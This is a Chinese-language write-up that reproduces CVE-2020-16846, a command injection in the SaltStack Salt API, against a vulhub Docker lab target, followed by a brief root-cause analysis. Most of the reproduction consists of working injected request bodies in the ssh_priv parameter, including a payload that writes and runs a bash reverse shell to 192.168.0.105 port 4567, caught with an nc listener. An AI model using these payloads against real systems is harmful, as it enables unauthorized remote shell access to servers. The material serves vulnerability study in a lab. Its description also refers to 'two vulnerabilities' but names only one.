CVE漏洞复现-CVE-2020-16846SaltStack命令注入
CVE-2020-16846SaltStack命令注入
CVE-2020-16846
漏洞描述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通
过Salt API执行任意命令
影响范围:
SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7
漏洞复现
docker和漏洞环境的安装教程vulhub都有提供,我这里便不复述了
1、进入CVE-2020-16846,在vulhub上启动docker
docker-compose up -d
查看docker漏洞环境是否搭建好了
docker ps
2、访问docker靶机 https://ip:8000
3、使用BP抓包访问地址 https://ip:8000/run,右键发送给重发器
4、更改请求为POST并且插入请求体,修改如下
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/suc cess%3b
5、写一个sh文件里面是反弹shell的命令
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo 'bash -i >%26 /dev/tcp/192.168.0.105/4567 0>%261' >/tmp/qianfu.sh%3b
7、使用NC接收反弹shell的命令
nc -lvvp 4567
8、执行sh文件,即可得到反弹shell
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa| bash%20/tmp/qianfu.sh%3b
9、NC接收的反弹shell
漏洞分析
该漏洞的成因是因为 salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令
cmd中的内容是由一段固定值+format中的path拼接而成,没有任何的过滤 subprocess.call(cmd,shell=True) 是下执行系统命令的函数 如果path的内容可以控制就可以造成命令执行